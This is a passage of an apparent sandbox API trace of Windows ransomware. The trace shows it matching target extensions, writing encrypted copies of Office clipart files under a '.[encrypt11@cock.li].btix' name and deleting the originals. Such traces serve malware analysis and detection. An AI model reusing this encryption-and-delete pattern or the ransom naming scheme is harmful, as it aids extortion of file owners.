lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.471] lstrlenW (lpString=".jpg") returned 4 [0148.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.471] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.471] lstrlenW (lpString="IN00919_.WMF") returned 12 [0148.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.472] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=6920) returned 1 [0148.472] CloseHandle (hObject=0x37c) returned 1 [0148.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220 [0148.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.472] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.472] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.472] GetLastError () returned 0x0 [0148.472] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1b08, lpOverlapped=0x0) returned 1 [0148.473] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0148.474] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.474] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.474] SetEndOfFile (hFile=0x380) returned 1 [0148.475] CloseHandle (hObject=0x380) returned 1 [0148.475] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.475] SetEndOfFile (hFile=0x37c) returned 1 [0148.475] CloseHandle (hObject=0x37c) returned 1 [0148.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0148.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.476] lstrlenW (lpString=".doc") returned 4 [0148.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.476] lstrlenW (lpString=".docx") returned 5 [0148.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.476] lstrlenW (lpString=".pdf") returned 4 [0148.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.476] lstrlenW (lpString=".xls") returned 4 [0148.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.476] lstrlenW (lpString=".xlsx") returned 5 [0148.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.476] lstrlenW (lpString=".ppt") returned 4 [0148.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.476] lstrlenW (lpString=".zip") returned 4 [0148.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.476] lstrlenW (lpString=".rar") returned 4 [0148.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.476] lstrlenW (lpString=".bz2") returned 4 [0148.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.477] lstrlenW (lpString=".7z") returned 3 [0148.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.477] lstrlenW (lpString=".dbf") returned 4 [0148.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.477] lstrlenW (lpString=".1cd") returned 4 [0148.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.477] lstrlenW (lpString=".jpg") returned 4 [0148.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.477] lstrlenW (lpString=".doc") returned 4 [0148.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.477] lstrlenW (lpString=".docx") returned 5 [0148.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.477] lstrlenW (lpString=".pdf") returned 4 [0148.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.477] lstrlenW (lpString=".xls") returned 4 [0148.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.477] lstrlenW (lpString=".xlsx") returned 5 [0148.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.477] lstrlenW (lpString=".ppt") returned 4 [0148.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.477] lstrlenW (lpString=".zip") returned 4 [0148.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.477] lstrlenW (lpString=".rar") returned 4 [0148.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.477] lstrlenW (lpString=".bz2") returned 4 [0148.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.477] lstrlenW (lpString=".7z") returned 3 [0148.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.477] lstrlenW (lpString=".dbf") returned 4 [0148.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.478] lstrlenW (lpString=".1cd") returned 4 [0148.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0148.478] lstrlenW (lpString=".jpg") returned 4 [0148.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.478] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.478] lstrlenW (lpString="IN00956_.WMF") returned 12 [0148.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.478] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1256) returned 1 [0148.478] CloseHandle (hObject=0x37c) returned 1 [0148.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0148.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.478] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.478] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.479] GetLastError () returned 0x0 [0148.479] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x4e8, lpOverlapped=0x0) returned 1 [0148.878] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0148.879] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.879] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.880] SetEndOfFile (hFile=0x380) returned 1 [0148.880] CloseHandle (hObject=0x380) returned 1 [0148.880] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.880] SetEndOfFile (hFile=0x37c) returned 1 [0148.881] CloseHandle (hObject=0x37c) returned 1 [0148.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0148.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.881] lstrlenW (lpString=".doc") returned 4 [0148.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.881] lstrlenW (lpString=".docx") returned 5 [0148.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.881] lstrlenW (lpString=".pdf") returned 4 [0148.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.882] lstrlenW (lpString=".xls") returned 4 [0148.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.882] lstrlenW (lpString=".xlsx") returned 5 [0148.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.882] lstrlenW (lpString=".ppt") returned 4 [0148.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.882] lstrlenW (lpString=".zip") returned 4 [0148.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.882] lstrlenW (lpString=".rar") returned 4 [0148.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.882] lstrlenW (lpString=".bz2") returned 4 [0148.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.882] lstrlenW (lpString=".7z") returned 3 [0148.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.882] lstrlenW (lpString=".dbf") returned 4 [0148.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.882] lstrlenW (lpString=".1cd") returned 4 [0148.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.882] lstrlenW (lpString=".jpg") returned 4 [0148.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.882] lstrlenW (lpString=".doc") returned 4 [0148.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.882] lstrlenW (lpString=".docx") returned 5 [0148.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.882] lstrlenW (lpString=".pdf") returned 4 [0148.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.882] lstrlenW (lpString=".xls") returned 4 [0148.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.883] lstrlenW (lpString=".xlsx") returned 5 [0148.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.883] lstrlenW (lpString=".ppt") returned 4 [0148.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.883] lstrlenW (lpString=".zip") returned 4 [0148.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.883] lstrlenW (lpString=".rar") returned 4 [0148.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.883] lstrlenW (lpString=".bz2") returned 4 [0148.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.883] lstrlenW (lpString=".7z") returned 3 [0148.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.883] lstrlenW (lpString=".dbf") returned 4 [0148.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.883] lstrlenW (lpString=".1cd") returned 4 [0148.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0148.883] lstrlenW (lpString=".jpg") returned 4 [0148.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.883] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.883] lstrlenW (lpString="J0090390.WMF") returned 12 [0148.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.884] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=17638) returned 1 [0148.884] CloseHandle (hObject=0x37c) returned 1 [0148.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0148.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.884] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.884] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.884] GetLastError () returned 0x0 [0148.884] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x44e6, lpOverlapped=0x0) returned 1 [0148.885] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x44f0, lpOverlapped=0x0) returned 1 [0148.886] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.886] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.887] SetEndOfFile (hFile=0x380) returned 1 [0148.887] CloseHandle (hObject=0x380) returned 1 [0148.887] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.887] SetEndOfFile (hFile=0x37c) returned 1 [0148.888] CloseHandle (hObject=0x37c) returned 1 [0148.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0148.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.888] lstrlenW (lpString=".doc") returned 4 [0148.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.888] lstrlenW (lpString=".docx") returned 5 [0148.888] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0148.888] lstrlenW (lpString=".pdf") returned 4 [0148.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.888] lstrlenW (lpString=".xls") returned 4 [0148.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.889] lstrlenW (lpString=".xlsx") returned 5 [0148.889] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0148.889] lstrlenW (lpString=".ppt") returned 4 [0148.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.889] lstrlenW (lpString=".zip") returned 4 [0148.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.889] lstrlenW (lpString=".rar") returned 4 [0148.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.889] lstrlenW (lpString=".bz2") returned 4 [0148.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.889] lstrlenW (lpString=".7z") returned 3 [0148.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.889] lstrlenW (lpString=".dbf") returned 4 [0148.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.889] lstrlenW (lpString=".1cd") returned 4 [0148.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.889] lstrlenW (lpString=".jpg") returned 4 [0148.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.889] lstrlenW (lpString=".doc") returned 4 [0148.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.889] lstrlenW (lpString=".docx") returned 5 [0148.889] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0148.889] lstrlenW (lpString=".pdf") returned 4 [0148.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.889] lstrlenW (lpString=".xls") returned 4 [0148.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.890] lstrlenW (lpString=".xlsx") returned 5 [0148.890] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0148.890] lstrlenW (lpString=".ppt") returned 4 [0148.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.890] lstrlenW (lpString=".zip") returned 4 [0148.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.890] lstrlenW (lpString=".rar") returned 4 [0148.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.890] lstrlenW (lpString=".bz2") returned 4 [0148.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.890] lstrlenW (lpString=".7z") returned 3 [0148.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.890] lstrlenW (lpString=".dbf") returned 4 [0148.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.890] lstrlenW (lpString=".1cd") returned 4 [0148.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0148.890] lstrlenW (lpString=".jpg") returned 4 [0148.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.890] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.890] lstrlenW (lpString="J0090777.WMF") returned 12 [0148.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft 